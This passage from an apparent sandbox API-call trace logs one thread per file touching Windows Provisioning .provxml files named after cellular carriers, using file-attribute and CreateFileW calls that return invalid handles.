Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1650) returned 1 [0179.038] RtlExitUserThread (Status=0x0) Thread: id = 2835 os_tid = 0xe44 [0179.039] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.039] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.039] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.040] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046588) returned 1 [0179.040] RtlExitUserThread (Status=0x0) Thread: id = 2836 os_tid = 0xe50 [0179.041] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.042] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041bd0) returned 1 [0179.042] RtlExitUserThread (Status=0x0) Thread: id = 2837 os_tid = 0xe54 [0179.043] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.043] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.044] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042ea0) returned 1 [0179.044] RtlExitUserThread (Status=0x0) Thread: id = 2838 os_tid = 0xe58 [0179.256] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.404] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.404] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042bf0) returned 1 [0179.405] RtlExitUserThread (Status=0x0) Thread: id = 2839 os_tid = 0xe5c [0179.257] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.403] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.403] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.403] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.403] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0179.403] RtlExitUserThread (Status=0x0) Thread: id = 2840 os_tid = 0xe70 [0179.257] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.402] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.402] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.402] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042a98) returned 1 [0179.402] RtlExitUserThread (Status=0x0) Thread: id = 2841 os_tid = 0xe74 [0179.258] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.389] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff25d0) returned 1 [0179.389] RtlExitUserThread (Status=0x0) Thread: id = 2842 os_tid = 0xe2c [0179.258] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.388] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.388] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.388] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043808) returned 1 [0179.388] RtlExitUserThread (Status=0x0) Thread: id = 2843 os_tid = 0xd58 [0179.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.387] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.387] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.387] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.387] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041fd8) returned 1 [0179.387] RtlExitUserThread (Status=0x0) Thread: id = 2844 os_tid = 0xd50 [0179.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml")) returned 0x20 [0179.385] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.386] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.386] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042130) returned 1 [0179.386] RtlExitUserThread (Status=0x0) Thread: id = 2845 os_tid = 0xd60 [0179.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml")) returned 0x20 [0179.364] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.364] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042d48) returned 1 [0179.364] RtlExitUserThread (Status=0x0) Thread: id = 2846 os_tid = 0xd64 [0179.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.363] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.363] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0179.363] RtlExitUserThread (Status=0x0) Thread: id = 2847 os_tid = 0xd54 [0179.261] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml")) returned 0x20 [0179.361] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.362] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042ea0) returned 1 [0179.362] RtlExitUserThread (Status=0x0) Thread: id = 2848 os_tid = 0xd4c [0179.261] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml")) returned 0x20 [0179.360] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.360] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043150) returned 1 [0179.361] RtlExitUserThread (Status=0x0) Thread: id = 2849 os_tid = 0xc60 [0179.262] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml")) returned 0x20 [0179.384] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.384] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.384] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042690) returned 1 [0179.384] RtlExitUserThread (Status=0x0) Thread: id = 2850 os_tid = 0xc5c [0179.262] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" 